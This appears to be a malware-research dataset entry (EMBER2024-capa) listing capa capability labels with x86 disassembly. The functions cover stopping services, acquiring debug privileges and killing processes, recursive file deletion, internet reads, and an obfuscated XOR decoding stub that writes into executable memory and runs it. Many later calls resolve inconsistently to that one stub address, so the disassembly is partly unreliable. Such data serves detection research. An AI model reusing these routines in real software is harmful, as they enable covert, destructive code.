joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5430e0
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
call fcn.00543008
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x54318b
push dword fs:[eax]
mov dword fs:[eax], esp
mov ecx, ebx
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.005431d4
test al, al
jne 0x543172
mov ecx, ebx
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.005431f4
test al, al
jne 0x54316b
mov ecx, ebx
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.00543028
mov ebx, eax
test ebx, ebx
je 0x54315f
lea eax, [ebp - 0x28]
push eax
push 1
push ebx
call sub.advapi32.dll_ControlService
test eax, eax
je 0x543158
mov dword [ebp - 8], 2
jmp 0x54315f
mov dword [ebp - 8], 3
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.00542fec
jmp 0x543172
mov dword [ebp - 8], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x543192
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.00543018
ret

Function at 0x54319c
Capabilities:
Query service status

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffffe4
mov esi, eax
xor ebx, ebx
test edx, edx
jbe 0x5431cb
mov eax, esi
call fcn.00543028
mov edi, eax
push esp
push edi
call sub.advapi32.dll_QueryServiceStatus
test eax, eax
je 0x5431c2
mov ebx, dword [esp + 4]
mov edx, edi
mov eax, esi
call fcn.00542fec
mov eax, ebx
add esp, 0x1c
pop edi
pop esi
pop ebx
ret

Function at 0x544154
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
call fcn.00404690
xor eax, eax
push ebp
push 0x544230
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
push 0xf003f
push 0
push 0
call sub.advapi32.dll_OpenSCManagerA
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jbe 0x54421a
push 0xf01ff
mov eax, dword [ebp - 4]
call fcn.004046a0
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_OpenServiceA
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jbe 0x54421a
xor eax, eax
push ebp
push 0x5441f7
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x2c]
push eax
push 1
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_ControlService
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_CloseServiceHandle
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_CloseServiceHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x54421a
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x544237
lea eax, [ebp - 4]
call fcn.004041e0
ret
Function at 0x54df60
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
xor edx, edx
mov dword [ebp - 0x28], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404690
xor eax, eax
push ebp
push 0x54dfe8
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0x22], eax
mov dword [ebp - 0x1e], 3
lea eax, [ebp - 0x28]
mov ecx, 0x54e000
mov edx, dword [ebp - 4]
call fcn.004044ec
mov eax, dword [ebp - 0x28]
call fcn.004046a0
mov dword [ebp - 0x1a], eax
xor eax, eax
mov dword [ebp - 0x16], eax
mov word [ebp - 0x12], 0x450
lea eax, [ebp - 0x22]
push eax
call sub.shell32.dll_SHFileOperationA
test eax, eax
jne 0x54dfc8
mov bl, 1
jmp 0x54dfca
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x54dfef
lea eax, [ebp - 0x28]
call fcn.004041e0
lea eax, [ebp - 4]
call fcn.004041e0
ret
Function at 0x54e8c4
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x2e
push 0
push 0
dec ecx
jne 0x54e8cc
push ecx
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404690
mov eax, dword [ebp - 8]
call fcn.00404690
lea edi, [ebp - 0x14c]
xor eax, eax
push ebp
push 0x54eb18
push dword fs:[eax]
mov dword fs:[eax], esp
push edi
lea eax, [ebp - 0x150]
mov ecx, 0x54eb30
mov edx, dword [ebp - 8]
call fcn.004044ec
mov eax, dword [ebp - 0x150]
call fcn.004046a0
push eax
call sub.kernel32.dll_FindFirstFileA_1
mov esi, eax
cmp esi, 0xffffffff
setne al
jmp 0x54eadf
xor ebx, ebx
lea eax, [ebp - 0xc]
lea edx, [edi + 0x2c]
mov ecx, 0x104
call fcn.00404450
mov eax, dword [edi]
cmp eax, 0x10
je 0x54e977
cmp eax, 2
je 0x54e977
cmp eax, 4
je 0x54e977
cmp eax, 0x80
je 0x54e977
cmp eax, 0x100
je 0x54e977
test eax, eax
jbe 0x54ead2
cmp eax, 0x270f
jae 0x54ead2
mov eax, dword [ebp - 0xc]
mov edx, 0x54eb40
call fcn.004045ec
je 0x54ead2
mov eax, dword [ebp - 0xc]
mov edx, 0x54eb4c
call fcn.004045ec
je 0x54ead2
push dword [ebp - 8]
push 0x54eb58
push dword [ebp - 0xc]
lea eax, [ebp - 0x154]
mov edx, 3
call fcn.00404560
mov eax, dword [ebp - 0x154]
call fcn.004a70ec
test al, al
je 0x54ea53
push dword [ebp - 8]
push 0x54eb58
push dword [ebp - 0xc]
lea eax, [ebp - 0x15c]
mov edx, 3
call fcn.00404560
mov eax, dword [ebp - 0x15c]
lea edx, [ebp - 0x158]
call fcn.0040863c
mov eax, dword [ebp - 0x158]
push eax
lea edx, [ebp - 0x160]
mov eax, dword [ebp - 4]
call fcn.0040863c
mov eax, dword [ebp - 0x160]
pop edx
call fcn.004047e4
test eax, eax
jle 0x54ea23
mov bl, 1
jmp 0x54eaed
mov eax, dword [ebp + 8]
push eax
push dword [ebp - 8]
push 0x54eb58
push dword [ebp - 0xc]
lea eax, [ebp - 0x164]
mov edx, 3
call fcn.00404560
mov edx, dword [ebp - 0x164]
mov eax, dword [ebp - 4]
call fcn.0054e8c4
pop ecx
mov ebx, eax
push dword [ebp - 8]
push 0x54eb58
push dword [ebp - 0xc]
lea eax, [ebp - 0x16c]
mov edx, 3
call fcn.00404560
mov eax, dword [ebp - 0x16c]
lea edx, [ebp - 0x168]
call fcn.0040863c
mov eax, dword [ebp - 0x168]
push eax
lea edx, [ebp - 0x170]
mov eax, dword [ebp - 4]
call fcn.0040863c
mov eax, dword [ebp - 0x170]
pop edx
call fcn.004047e4
test eax, eax
jle 0x54ead2
push dword [ebp - 8]
push 0x54eb58
push dword [ebp - 0xc]
lea eax, [ebp - 0x174]
mov edx, 3
call fcn.00404560
mov eax, dword [ebp - 0x174]
call fcn.00409288
test al, al
je 0x54ead2
mov bl, 1
jmp 0x54eaed
push edi
push esi
call sub.kernel32.dll_FindNextFileA
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x54e933
push esi
call sub.kernel32.dll_FindClose_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x54eb1f
lea eax, [ebp - 0x174]
mov edx, 0xa
call fcn.00404204
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404204
ret
Function at 0x550c64
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
xor ecx, ecx
mov dword [ebp - 4], ecx
mov ebx, edx
xor eax, eax
push ebp
push 0x550cd8
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x104]
push eax
push 0xff
call sub.kernel32.dll_GetTempPathA
lea edx, [ebp - 4]
lea eax, [ebp - 0x104]
call fcn.00409938
lea eax, [ebp - 4]
push eax
mov ecx, 2
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00404700
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.00404234
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x550cdf
lea eax, [ebp - 4]
call fcn.004041e0
ret
Function at 0x552214
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp + 8]
xor eax, eax
push ebp
push 0x5522c3
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
push eax
push 0x28
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
mov dword [ebp - 0x18], 1
lea eax, [ebp - 0x14]
push eax
push ebx
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
mov esi, eax
lea eax, [ebp - 0x1c]
mov edx, ebx
call fcn.004043d8
mov eax, dword [ebp - 0x1c]
mov edx, 0x5522dc
call fcn.004045ec
jne 0x552286
lea eax, [ebp - 0x14]
push eax
push ebx
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
mov esi, eax
mov dword [ebp - 0xc], 2
xor eax, eax
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push 0
push 0x10
lea eax, [ebp - 0x18]
push eax
push 0
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_CloseHandle
mov ebx, esi
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5522ca
lea eax, [ebp - 0x1c]
call fcn.004041e0
ret

Function at 0x5522f0
Capabilities:
Acquire debug privileges
Terminate process

Disassembly:
push ebx
push esi
mov esi, eax
xor ebx, ebx
mov eax, esi
call fcn.0053b2c0
test al, al
je 0x552305
mov bl, 1
jmp 0x55232c
push 0x552334
call fcn.00552214
push esi
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov esi, eax
push 1
push esi
call sub.kernel32.dll_TerminateProcess
test eax, eax
je 0x55232c
mov bl, 1
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x43f55e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x43f56d
pop dword [ebp - 0x50]
mov eax, 0xa13af051
add eax, 0x5f09051c
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0xb60b8400
add dword [ebp - 0x60], 0x9846c14b
mov dword [ebp - 0x5c], 0x3bb78600
add dword [ebp - 0x5c], 0xf67bc645
mov dword [ebp - 0x58], 0xcf791dcd
sub dword [ebp - 0x58], 0x832cd99f
mov dword [ebp - 0x54], 0x47324685
add dword [ebp - 0x54], 0xb8cdb97b
lea eax, [ebp - 0x60]
push eax
mov eax, 0x53113d1c
sub eax, 0x52c6cc70
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x891ffcc5
sub dword [ebp - 0x60], 0x14ad936f
mov dword [ebp - 0x5c], 0x2fc3b69d
add dword [ebp - 0x5c], 0x11a8aad8
mov dword [ebp - 0x58], 0x84a512b6
add dword [ebp - 0x58], 0xdeca59b6
mov dword [ebp - 0x54], 0x743db06e
sub dword [ebp - 0x54], 0x743db06e
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0x25014000
sub eax, 0x24b6ce6c
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x5f40d
push 0
call eax
mov ecx, 0x8a25212b
add ecx, 0x75db241c
mov ebx, eax
mov esi, 0x64aa2b0a
add esi, 0x9ba30cf6
add esi, dword [ebp - 0x50]
mov edx, 0x6d6a5428
add edx, 0xe39a298c
mov edi, dword [esi]
xor dword [ebp - 0x4c], 0xf9907b1b
sub edi, edx
sub dword [ebp - 8], 0xf923eb5f
mov dword [ebx], edi
xor dword [ebp - 0x30], edx
add ebx, 4
add esi, 0xb2d0f936
sub esi, 0xb2d0f932
loop 0x43f68f
add eax, 0x7fbce49a
sub eax, 0x7fbbdcab
mov ebx, eax
add eax, 0x20fb4ff7
sub eax, 0x20fb4ff2
mov ecx, 0xc51addf5
sub ecx, 0xc4daddf5
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x47046f
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push 0x2b4
mov eax, 0x4a12cd
call fcn.0049fa2f
mov ebx, ecx
push edx
mov edx, ebx
lea ecx, [ebp - 0x40]
call fcn.004707a0
pop ecx
xor edi, edi
lea ecx, [ebp - 0x2c0]
mov dword [ebp - 4], edi
lea eax, [ebp - 0x40]
cmp dword [ebp - 0x2c], 8
push ecx
cmovae eax, dword [ebp - 0x40]
push eax
call dword [sym.imp.kernel32.dll_FindFirstFileW]
mov esi, eax
mov dword [ebp - 0x28], edi
xor eax, eax
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
mov byte [ebp - 4], 1
cmp esi, 0xffffffff
je 0x47055f
lea eax, [ebp - 0x294]
push eax
lea ecx, [ebp - 0x58]
call fcn.0043f55e
lea eax, [ebp - 0x58]
mov byte [ebp - 4], 2
push eax
mov edx, ebx
lea ecx, [ebp - 0x70]
call fcn.004707a0
mov edi, eax
lea eax, [ebp - 0x28]
pop ecx
cmp eax, edi
je 0x470507
mov ecx, eax
call fcn.0046d98d
push edi
lea ecx, [ebp - 0x28]
call fcn.0043f55e
lea ecx, [ebp - 0x70]
call fcn.0046d98d
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 1
call fcn.0046d98d
test byte [ebp - 0x2c0], 4
jne 0x470542
lea ecx, [ebp - 0x28]
call fcn.0047078b
test al, al
jne 0x470542
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileW]
lea eax, [ebp - 0x2c0]
push eax
push esi
call dword [sym.imp.kernel32.dll_FindNextFileW]
test eax, eax
jne 0x4704cc
push esi
call dword [sym.imp.kernel32.dll_FindClose]
lea ecx, [ebp - 0x28]
call fcn.0046d98d
lea ecx, [ebp - 0x40]
call fcn.0046d98d
call fcn.0049f9de
ret
Function at 0x474827
Capabilities:
Get common file path

Disassembly:
push 0x278
mov eax, 0x4a1b42
call fcn.0049fa2f
mov ebx, ecx
mov dword [ebp - 0x280], ebx
mov dword [ebp - 0x284], ebx
mov eax, dword fs:[0x2c]
xor esi, esi
mov dword [ebp - 0x284], ebx
mov edi, 0x4cb420
mov ecx, dword [eax]
mov eax, dword [0x4cb41c]
cmp eax, dword [ecx + 4]
jle 0x4748a4
push 0x4cb41c
call fcn.0043f55e
cmp dword [0x4cb41c], 0xffffffff
pop ecx
jne 0x4748a4
push 0x4b9024
mov ecx, edi
mov dword [ebp - 4], esi
call fcn.0043f55e
push 0x4a6680
call fcn.0043f55e
or dword [ebp - 4], 0xffffffff
mov dword [esp], 0x4cb41c
call fcn.0043f55e
pop ecx
cmp dword [0x4cb430], 0
jne 0x4749c5
push 0x20a
lea eax, [ebp - 0x21c]
push esi
push eax
call dword [sym.imp.VCRUNTIME140.dll_memset]
add esp, 0xc
call fcn.0043f55e
test al, al
je 0x474998
push str.LogSession
lea ecx, [ebp - 0x24c]
call fcn.0043f55e
lea ecx, [ebp - 0x24c]
mov dword [ebp - 4], 1
call fcn.00477e85
mov ebx, eax
lea ecx, [ebp - 0x264]
push 0x4adacc
mov eax, dword [ebx]
mov edi, dword [eax + 0x40]
call fcn.0043f55e
mov esi, eax
push str.IE_is_protected_mode_
lea ecx, [ebp - 0x234]
mov byte [ebp - 4], 2
call fcn.0043f55e
push esi
lea eax, [ebp - 0x234]
mov byte [ebp - 4], 3
push eax
mov ecx, edi
call dword [0x4a75c0]
mov ecx, ebx
call edi
lea ecx, [ebp - 0x234]
call fcn.0046a23d
lea ecx, [ebp - 0x264]
call fcn.0046a23d
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24c]
call fcn.0046a23d
lea ecx, [ebp - 0x27c]
call fcn.00474779
mov esi, eax
mov edi, 0x4cb420
cmp esi, edi
je 0x474985
mov ecx, edi
call fcn.0046d98d
push esi
mov ecx, edi
call fcn.0043f55e
lea ecx, [ebp - 0x27c]
call fcn.0046d98d
mov ebx, dword [ebp - 0x280]
jmp 0x4749c5
lea eax, [ebp - 0x21c]
push eax
push esi
push esi
push 0x801a
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
lea ecx, [ebp - 0x21c]
mov eax, 0x4b9024
cmovne ecx, eax
push ecx
mov ecx, edi
call fcn.0043f55e
push edi
mov ecx, ebx
call fcn.004723ba
mov eax, ebx
call fcn.0049f9de
ret
Function at 0x476140
Capabilities:
Read data from internet
Receive data

Disassembly:
push 0x20
mov eax, 0x4a1e1c
call fcn.0049fa65
mov dword [ebp - 0x20], ecx
xor esi, esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x18], esi
push esi
push esi
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], esi
push eax
mov eax, dword [ebp - 0x20]
push dword [eax + 8]
call dword [sym.imp.wininet.dll_InternetQueryDataAvailable]
mov edi, eax
mov dword [ebp - 0x1c], edi
test edi, edi
je 0x476244
cmp dword [ebp - 0x14], 0
jbe 0x476242
mov dword [ebp - 4], esi
mov eax, dword [ebp - 0x14]
inc eax
push eax
call fcn.0043f55e
pop ecx
mov ecx, dword [ebp - 0x14]
mov ebx, eax
inc ecx
mov dword [ebp - 0x18], ebx
push ecx
push esi
push ebx
call dword [sym.imp.VCRUNTIME140.dll_memset]
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
push ebx
push dword [eax + 8]
call dword [sym.imp.wininet.dll_InternetReadFile]
mov edi, eax
mov dword [ebp - 0x1c], edi
test edi, edi
jne 0x4761c8
mov dword [ebp - 0x14], esi
jmp 0x4761da
cmp dword [ebp - 0x14], 0
jbe 0x4761da
push dword [ebp - 0x14]
mov ecx, dword [ebp + 8]
push ebx
call fcn.0046a372
or dword [ebp - 4], 0xffffffff
jmp 0x47622e
push ebx
call fcn.0048844b
cmp dword [ebp - 0x14], 0
pop ecx
mov dword [ebp - 0x18], esi
ja 0x476157
test edi, edi
setne al
call fcn.0049f9ca
ret 4
Function at 0x47628a
Capabilities:
Check http status code

Disassembly:
push 0xa4
mov eax, 0x4a1e7b
call fcn.0049fa2f
mov edi, ecx
mov ebx, dword [ebp + 8]
xor eax, eax
push eax
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0xa8], eax
lea eax, [ebp - 0xac]
push eax
lea eax, [ebp - 0xa8]
mov dword [ebp - 0xac], 4
push eax
push 0x20000013
push dword [edi + 8]
call dword [sym.imp.wininet.dll_HttpQueryInfoW]
test eax, eax
je 0x4764e8
cmp dword [ebp - 0xa8], 0xc8
jne 0x4764e8
push 0
lea eax, [ebp - 0xa4]
push eax
push 0
push 0x16
push dword [edi + 8]
call dword [sym.imp.wininet.dll_HttpQueryInfoW]
mov eax, dword [ebp - 0xa4]
test eax, eax
je 0x4764e8
xor ecx, ecx
inc eax
push 2
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0043f55e
mov ecx, dword [ebp - 0xa4]
mov esi, eax
lea ecx, [ecx*2 + 2]
push ecx
push 0
push esi
call dword [sym.imp.VCRUNTIME140.dll_memset]
add esp, 0x10
lea eax, [ebp - 0xa4]
push 0
push eax
push esi
push 0x16
push dword [edi + 8]
call dword [sym.imp.wininet.dll_HttpQueryInfoW]
test eax, eax
je 0x4764e8
push esi
lea ecx, [ebp - 0x28]
call fcn.0043f55e
and dword [ebp - 4], 0
push esi
call fcn.0048844b
mov esi, 0x4b9420
lea ecx, [ebp - 0x28]
push esi
call fcn.0043f55e
or edi, 0xffffffff
jmp 0x4764d4
push ecx
push esi
lea ecx, [ebp - 0x28]
call fcn.0043f55e
push eax
push 0
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x28]
call fcn.0043f55e
push ecx
push 0x4b9428
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 1
call fcn.0043f55e
cmp eax, edi
je 0x476477
push ecx
mov esi, 0x4b9428
lea ecx, [ebp - 0x40]
push esi
call fcn.0043f55e
push eax
push 0
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x40]
call fcn.0043f55e
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 2
call fcn.0043f55e
push edi
push ecx
push esi
lea ecx, [ebp - 0x40]
call fcn.0043f55e
inc eax
lea ecx, [ebp - 0x40]
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.0043f55e
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 3
call fcn.0043f55e
lea edx, [ebp - 0x58]
lea ecx, [ebp - 0x88]
call fcn.0046ee68
mov esi, eax
lea edx, [ebp - 0x70]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0xa0]
call fcn.0046ee68
push eax
lea eax, [ebp - 0xb0]
mov byte [ebp - 4], 5
push eax
mov ecx, ebx
call fcn.0043f55e
push esi
mov ecx, dword [eax]
add ecx, 0x28
call fcn.0043f55e
lea ecx, [ebp - 0xa0]
call fcn.0046a23d
lea ecx, [ebp - 0x88]
call fcn.0046a23d
lea ecx, [ebp - 0x58]
call fcn.0046d98d
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 1
call fcn.0046d98d
mov esi, 0x4b9420
push edi
push ecx
push esi
lea ecx, [ebp - 0x28]
call fcn.0043f55e
add eax, 2
lea ecx, [ebp - 0x28]
push eax
lea eax, [ebp - 0x88]
push eax
call fcn.0043f55e
mov esi, eax
lea eax, [ebp - 0x28]
cmp eax, esi
je 0x4764ae
mov ecx, eax
call fcn.0046d98d
push esi
lea ecx, [ebp - 0x28]
call fcn.0043f55e
lea ecx, [ebp - 0x88]
call fcn.0046d98d
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0
call fcn.0046d98d
push ecx
mov esi, 0x4b9420
lea ecx, [ebp - 0x28]
push esi
call fcn.0043f55e
cmp eax, edi
jne 0x476386
lea ecx, [ebp - 0x28]
call fcn.0046d98d
mov al, 1
jmp 0x4764ea
xor al, al
call fcn.0049f9de
ret 4
Function at 0x477ae3
Capabilities:
Get common file path

Disassembly:
push 0x86c
mov eax, 0x4a224c
call fcn.0049fa2f
mov edi, edx
mov esi, ecx
mov dword [ebp - 0x878], esi
push 0x802
xor ebx, ebx
mov dword [ebp - 0x878], esi
lea eax, [ebp - 0x814]
push ebx
push eax
call dword [sym.imp.VCRUNTIME140.dll_memset]
add esp, 0xc
lea eax, [ebp - 0x814]
push eax
push ebx
push ebx
push 0x801a
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x477c46
lea eax, [ebp - 0x814]
push eax
lea ecx, [ebp - 0x844]
call fcn.0043f55e
mov edx, edi
mov dword [ebp - 4], ebx
lea ecx, [ebp - 0x85c]
call fcn.0046ef25
push eax
mov edx, str.AdobeHeadlightsCCHLLog_
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x874]
call fcn.0043f55e
mov byte [ebp - 4], 5
mov ecx, eax
mov dword [esp], 0x4b9560
call fcn.0043f55e
push eax
lea ecx, [ebp - 0x82c]
mov dword [ebp - 0x82c], ebx
mov dword [ebp - 0x81c], ebx
mov dword [ebp - 0x818], ebx
call fcn.0043f55e
mov byte [ebp - 4], 6
lea eax, [ebp - 0x82c]
cmp dword [ebp - 0x818], 8
lea ecx, [ebp - 0x844]
push dword [ebp - 0x81c]
cmovae eax, dword [ebp - 0x82c]
push eax
call fcn.00472323
lea ecx, [ebp - 0x82c]
call fcn.0046d98d
lea ecx, [ebp - 0x874]
call fcn.0046d98d
lea ecx, [ebp - 0x85c]
mov byte [ebp - 4], bl
call fcn.0046d98d
lea edx, [ebp - 0x844]
lea ecx, [ebp - 0x85c]
call fcn.004711e9
mov ecx, eax
mov byte [ebp - 4], 7
call fcn.004708e3
lea ecx, [ebp - 0x85c]
mov byte [ebp - 4], 0
mov bl, al
call fcn.0046d98d
test bl, bl
je 0x477c37
lea edx, [ebp - 0x844]
mov ecx, esi
call fcn.0046ee68
lea ecx, [ebp - 0x844]
call fcn.0046d98d
jmp 0x477c52
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x844]
call fcn.0046d98d
push 0x4adacc
mov ecx, esi
call fcn.0043f55e
mov eax, esi
call fcn.0049f9de
ret

Function at 0x477c5a
Capabilities:
Get common file path

Disassembly:
push 0x83c
mov eax, 0x4a229b
call fcn.0049fa2f
mov esi, ecx
mov dword [ebp - 0x848], esi
push 0x802
xor ebx, ebx
mov dword [ebp - 0x848], esi
lea eax, [ebp - 0x814]
push ebx
push eax
call dword [sym.imp.VCRUNTIME140.dll_memset]
add esp, 0xc
lea eax, [ebp - 0x814]
push eax
push ebx
push ebx
push 0x801a
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x477d2d
lea eax, [ebp - 0x814]
push eax
lea ecx, [ebp - 0x82c]
call fcn.0043f55e
push 0x20
push str.AdobeRTTransferRTDebugLog.txt
lea ecx, [ebp - 0x82c]
mov dword [ebp - 4], ebx
call fcn.00472323
lea edx, [ebp - 0x82c]
lea ecx, [ebp - 0x844]
call fcn.004711e9
mov ecx, eax
mov byte [ebp - 4], 1
call fcn.004708e3
lea ecx, [ebp - 0x844]
mov byte [ebp - 4], 0
mov bl, al
call fcn.0046d98d
test bl, bl
je 0x477d1e
lea edx, [ebp - 0x82c]
mov ecx, esi
call fcn.0046ee68
lea ecx, [ebp - 0x82c]
call fcn.0046d98d
jmp 0x477d39
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x82c]
call fcn.0046d98d
push 0x4adacc
mov ecx, esi
call fcn.0043f55e
mov eax, esi
call fcn.0049f9de
ret
Function at 0x47f3f2
Capabilities:
Get common file path

Disassembly:
push 0x278
mov eax, 0x4a3862
call fcn.0049fa2f
mov ebx, ecx
mov dword [ebp - 0x280], ebx
mov dword [ebp - 0x284], ebx
mov eax, dword fs:[0x2c]
xor esi, esi
mov dword [ebp - 0x284], ebx
mov edi, 0x4cb43c
mov ecx, dword [eax]
mov eax, dword [0x4cb438]
cmp eax, dword [ecx + 4]
jle 0x47f46f
push 0x4cb438
call fcn.0043f55e
cmp dword [0x4cb438], 0xffffffff
pop ecx
jne 0x47f46f
push 0x4b9024
mov ecx, edi
mov dword [ebp - 4], esi
call fcn.0043f55e
push 0x4a6690
call fcn.0043f55e
or dword [ebp - 4], 0xffffffff
mov dword [esp], 0x4cb438
call fcn.0043f55e
pop ecx
cmp dword [0x4cb44c], 0
jne 0x47f590
push 0x20a
lea eax, [ebp - 0x21c]
push esi
push eax
call dword [sym.imp.VCRUNTIME140.dll_memset]
add esp, 0xc
call fcn.0043f55e
test al, al
je 0x47f563
push str.LogSession
lea ecx, [ebp - 0x24c]
call fcn.0043f55e
lea ecx, [ebp - 0x24c]
mov dword [ebp - 4], 1
call fcn.00477e85
mov ebx, eax
lea ecx, [ebp - 0x264]
push 0x4adacc
mov eax, dword [ebx]
mov edi, dword [eax + 0x40]
call fcn.0043f55e
mov esi, eax
push str.IE_is_protected_mode_
lea ecx, [ebp - 0x234]
mov byte [ebp - 4], 2
call fcn.0043f55e
push esi
lea eax, [ebp - 0x234]
mov byte [ebp - 4], 3
push eax
mov ecx, edi
call dword [0x4a75c0]
mov ecx, ebx
call edi
lea ecx, [ebp - 0x234]
call fcn.0046a23d
lea ecx, [ebp - 0x264]
call fcn.0046a23d
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x24c]
call fcn.0046a23d
lea ecx, [ebp - 0x27c]
call fcn.00474779
mov esi, eax
mov edi, 0x4cb43c
cmp esi, edi
je 0x47f550
mov ecx, edi
call fcn.0046d98d
push esi
mov ecx, edi
call fcn.0043f55e
lea ecx, [ebp - 0x27c]
call fcn.0046d98d
mov ebx, dword [ebp - 0x280]
jmp 0x47f590
lea eax, [ebp - 0x21c]
push eax
push esi
push esi
push 0x801a
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
lea ecx, [ebp - 0x21c]
mov eax, 0x4b9024
cmovne ecx, eax
push ecx
mov ecx, edi
call fcn.0043f55e
push edi
mov ecx, ebx
call fcn.004723ba
mov eax, ebx
call fcn.0049f9de
ret

Function at 0x47f7a8
Capabilities:
Get session user name

Disassembly:
push 0x254
mov eax, 0x4a38b6
call fcn.0049fa2f
mov esi, ecx
mov dword [ebp - 0x260], esi
xor eax, eax
mov dword [ebp - 0x260], esi
mov word [ebp - 0x14], ax
lea eax, [ebp - 0x260]
push eax
lea eax, [ebp - 0x214]
mov dword [ebp - 0x260], 0x100
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 0x25c]
call fcn.0043f55e
and dword [ebp - 4], 0
lea edx, [ebp - 0x25c]
lea ecx, [ebp - 0x22c]
call fcn.0046ee68
push str.AdobeHeadlights
lea ecx, [ebp - 0x244]
mov byte [ebp - 4], 1
